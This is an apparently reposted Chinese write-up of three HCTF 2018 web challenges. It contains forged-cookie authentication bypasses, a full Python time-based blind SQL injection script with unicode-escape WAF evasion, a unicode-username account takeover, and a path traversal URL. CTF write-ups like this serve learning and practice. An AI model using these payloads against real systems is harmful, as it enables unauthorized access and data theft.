HCTF部分Web WriteUp

栏目: 编程工具 · 发布时间: 7年前

内容简介:前几天HCTF刚好软考,晚上回家看了下Web然后做了几题,这里简单的记录一下。这个说来有意思,前端时间刚好搞了一个钓鱼站,就是拿这个源码改的,但是当时审了很久没发现什么很好利用的点。首先,我们扫描Web目录,发现存在www.zip 直接下载到本地进行审计。 在

写在前面

前几天HCTF刚好软考,晚上回家看了下Web然后做了几题,这里简单的记录一下。

kzone

这个说来有意思,前端时间刚好搞了一个钓鱼站,就是拿这个源码改的,但是当时审了很久没发现什么很好利用的点。

首先,我们扫描Web目录,发现存在www.zip 直接下载到本地进行审计。 在 include/member.php 中我们发现了他的登录验证逻辑。尝试构造一个Cookie登录。这里有两种方法。

if (isset($_COOKIE["islogin"])) {
    if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        echo $admin_pass,'<br>',$login_data['admin_pass'];
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }
}

方法二,我们构造一个不存在的 admin_user 这时带入数据库查询将查询不出任何值,这时 admin_pass 就变成了 $admin_pass = sha1(LOGIN_KEY); 我们只需要得到 LOGIN_KEY 即可。 HCTF部分Web WriteUp 幸运的是我们发现 LOGIN_KEY 是写死的,并且题目没有更改这个KEY,我们直接通过他来构造Cookie来进行登录。 Cookie: PHPSESSID=3mj2de89c0hsihqkvsq2vttis5;islogin=1;login_data={"admin_user":"","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}

方法二,这里的判断是使用 == 来进行判断的,其可能存在弱类型问题,可以用数字与字符串弱等进行绕过。我们对密码数字进行爆破,发现当密码为65时可以成功登录。 Cookie: PHPSESSID=3mj2de89c0hsihqkvsq2vttis5;islogin=1;login_data={"admin_user":"admin","admin_pass":65}

但是!!!你会发现登录后台并没有什么乱用。咱们继续更进会发现, admin_user 这里是存在注入的 HCTF部分Web WriteUp 但是,你会发现他有waf,而且很多函数都被过滤了。我们发现 login_data 是经过 json_decode 进行处理的,通过查阅资料我们得知可以使用16encode进行绕过 https://xz.aliyun.com/t/306 于是构造出最终payload

#coding:utf8
import requests
import time
str = 'abcdefghijklmnopqrstuvwxyz0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}~_,'
url = 'http://kzone.2018.hctf.io/admin/index.php'
payload = "islogin=1;login_data={0}\"admin_user\":\"fh'||(case\u0020when\u0020(\u006ceft(("+"SELECT\u0020F1A9\u0020from\u0020F1444g),{1})\u003dbinary'{2}')\u0020then\u0020\u0073leep(2)else\u00200\u0020end)\u0023"+"\",\"admin_pass\":\"0\"{3}"
#print payload
flag = ''
for i in range(1,40):
	for a in str:
		f1 =  flag+a
		data = payload.format('{',i,f1,'}')
		#print data
		starTime = time.time()
		headers = {"Cookie":data}
		res = requests.get(url,headers=headers)
		#print res.text
		if time.time()-starTime >2:
			flag +=a
			print flag
			break
print 'flag'+flag

HCTF部分Web WriteUp (脚本写的比较烂)

admin

在change页面得到提示 HCTF部分Web WriteUp 分析源码,我们发现每次在注册和登录的时候都会将用户名转化为小写 HCTF部分Web WriteUp 参考http://blog.lnyas.xyz/?p=1411 我们可知其会将 ᴬᴬᴬ 转化为 AAA ,那么我们只需注册一个用户名为 ᴬdmin 的账号,登录后修改密码就能达到越权修改 admin 密码的目的 HCTF部分Web WriteUp

warmup

根据提示获得源码,直接参考https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/ 构造payload: http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../../../../ffffllllaaaagggg HCTF部分Web WriteUp


以上所述就是小编给大家介绍的《HCTF部分Web WriteUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

JavaScript Patterns

JavaScript Patterns

Stoyan Stefanov / O'Reilly Media, Inc. / 2010-09-21 / USD 29.99

What's the best approach for developing an application with JavaScript? This book helps you answer that question with numerous JavaScript coding patterns and best practices. If you're an experienced d......一起来看看 《JavaScript Patterns》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具